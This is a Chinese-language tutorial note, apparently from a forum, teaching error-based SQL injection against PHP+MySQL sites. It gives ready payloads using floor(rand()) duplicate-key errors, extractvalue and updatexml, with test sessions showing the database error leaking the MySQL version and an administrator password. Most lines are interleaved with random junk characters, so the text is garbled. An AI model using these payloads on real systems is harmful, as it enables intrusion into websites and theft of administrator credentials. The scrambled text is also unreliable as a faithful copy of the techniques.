放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
. z+ U& G; E8 c) Z* E4 i实际测试环境:' [' a9 o1 A) y) h5 S) x! [# ~2 o1 G
, I7 t, f7 g+ P6 d* a + Y G) K) g; M' S( ^! M& k7 F: r9 x8 W
mysql> show tables;
) J \6 U6 r I+----------------+
0 Q5 f8 Q3 T: P4 \| Tables_in_test |
! \7 |0 s9 O; M D8 }# ~8 v+----------------+- }: b4 v1 W$ o/ M% b
| admin |# B; _) ]: @) u
| article |5 _3 d7 `9 ^1 a7 Y) Q
+----------------+
- ~& V; k9 x, C! y& D) e 8 R% ^" j$ p/ o* J1 {
& _2 g6 ^1 m7 g# n5 }* E& v
# f1 } R) L: C& a; q5 r" N; E0 m! t6 pmysql> describe admin;7 p3 I3 o/ D( U5 g- @ N2 Q8 {( B; f
+-------+------------------+------+-----+---------+----------------+
/ P5 F% Q2 s4 V! o# C" c| Field | Type | Null | Key | Default | Extra |
, p* Q6 N0 A0 r* b+ C5 j* C4 N7 Y+-------+------------------+------+-----+---------+----------------+7 u- |1 L$ s' x0 ?* a% J) l' `
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |3 _6 y1 i/ m: S1 k" {5 ^8 t: r
| user | varchar(50) | NO | | NULL | |
L+ X- f F/ ]! q) ~3 ]6 E| pass | varchar(50) | NO | | NULL | |
: z; a) ^& I3 V. ^+-------+------------------+------+-----+---------+----------------+
0 [0 |1 Y% X( H$ _( P. z# ]2 v3 W
9 C9 e, C0 g: N( l
# f4 |: w4 j2 P& [ 1 y$ p# ]4 M- _! n* v% L
mysql> describe article;9 \" f! A9 O0 C! L
+---------+------------------+------+-----+---------+----------------+
& y* S/ ?: L$ U& u2 d| Field | Type | Null | Key | Default | Extra |# W+ c9 Q+ m$ V& b
+---------+------------------+------+-----+---------+----------------+
6 d5 N+ A2 _ @: T# _4 ] E" a| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
' v M- s6 C* @% \/ l ]! ?+ a& ^2 p| title | varchar(50) | NO | | NULL | |9 e4 F) R+ B2 A5 S1 r, a
| content | varchar(50) | NO | | NULL | |; S7 S0 Y8 H) }0 V0 @
+---------+------------------+------+-----+---------+----------------+
" U/ D/ p" }* s# Z! z, \! v1 B1、通过floor报错4 A1 E Z8 h2 q' H
可以通过如下一些利用代码
6 k( l- b. _ n& t5 o" j6 } + ^# @1 h- S F! P* `. V
! E& n7 G# `. q1 T
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x5 M& B' T" `9 d
from information_schema.tables group by x)a);
7 X0 B, K% v# {4 `3 E - q! x% _7 R: v1 p
# u7 z; a' k6 Z( {, Eand (select count(*) from (select 1 union select null union select !1)x
7 S) ~/ g% \- Qgroup by concat((select table_name from information_schema.tables limit 1),
! r4 t% s4 S: Bfloor(rand(0)*2)));3 W6 | ~7 A8 G2 n' }" x( R
举例如下:
( I' R8 e G, j2 W& x首先进行正常查询:
, M: a& h) O3 z y; J" I3 B
0 ?$ T2 h5 T7 Q% a* a3 z/ Fmysql> select * from article where id = 1;
4 Q3 Y' i4 C# b4 G9 C) `+----+-------+---------+! K0 t! c) T/ X! A& B4 `, g
| id | title | content |
, }. p( M1 m, r1 {) x4 p+----+-------+---------+0 N f5 l0 Z) A+ i: L
| 1 | test | do it |( m7 f! k* A1 Y" S! @( Q" @
+----+-------+---------+) S: B8 A) q o8 R" _2 |
假如id输入存在注入的话,可以通过如下语句进行报错。) \9 j2 m- {9 w
+ S- |/ G5 i' K7 k' d4 K' R
% D0 I/ j+ r+ v& U# q& E+ V% t
mysql> select * from article where id = 1 and (select 1 from
: k; A: L Y. z/ X- l, a! w(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);, w# |1 k1 b$ M1 `
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
, }' X) Y% Q _3 |3 L可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。- F8 ?7 d3 h! q9 M* d4 k* V' Q
例如我们需要查询管理员用户名和密码:* \5 d# Z$ t1 }1 y
Method1:
0 e" w3 V, k. X- K& y
& S! w, I$ [8 D/ @& O2 {6 @% m- P
9 H) L3 D6 v* A( u7 zmysql> select * from article where id = 1 and (select 1 from
3 u* B+ }" B4 \4 I; J0 n/ x- b(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
+ z9 q! ~# C* v) n$ ]7 ffrom information_schema.tables group by x)a);2 y3 S" H \. e5 M7 ^
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'1 k& }2 D* N7 C. i: ^7 W
Method2:
$ M0 ?! Y; i/ }6 t b* V; o
- t* F+ d$ x- R3 b7 j- S7 K
4 u- U% b9 z/ z0 d9 S. E# vmysql> select * from article where id = 1 and (select count(*)
K: w( a' R& n i- A+ bfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),( a0 J! p1 a7 k, B5 V
floor(rand(0)*2)));6 \6 u: t2 d2 p" H) N- E, p
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% k; n. w6 `3 t$ I2、ExtractValue
9 l1 c5 z/ ?4 Z0 }' \测试语句如下# A+ X0 A! `) ^- A- C
0 O: p# B+ Y! c7 ^- [* R
( F/ c$ y' F+ e0 l: Sand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
% W1 X7 D5 v' r- Z( V实际测试过程; D9 x( I) r7 V) ?) z# \ w5 ~
# n' N& i% N5 U
* z% p1 b" `: X' f5 ]; kmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
1 \, L* _' x j# w2 d7 A(select pass from admin limit 1)));--
1 X' U% O( D# r) s T# sERROR 1105 (HY000): XPATH syntax error: '\admin888'
6 G: G: W! K) v3、UpdateXml0 E' A1 F7 i+ C/ c" V& y
测试语句
v: ?! J7 Y' k5 p3 @& K 4 i1 }$ a1 a: C) B+ F* {- r; V
# ~' p8 o& g4 H9 R1 j4 vand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))' D' U* [7 [! g; f M3 w) k/ j
实际测试过程
: [) S, j# H# s, ]
5 L) B3 M i7 q9 o 8 A' R( f; U. o2 T7 I
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,9 L7 e& H; ]9 s3 A3 }, x9 y
(select pass from admin limit 1),0x5e24),1));" ~4 I3 x, [3 O' F. t
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
; C7 B E7 y4 ^7 A) g+ NAll, thanks foreign guys.( U; G& M: K- ]6 f
# g; ^' G9 @5 i$ j: W* t; G+ l
- S) N8 W1 ~2 g% \% H
|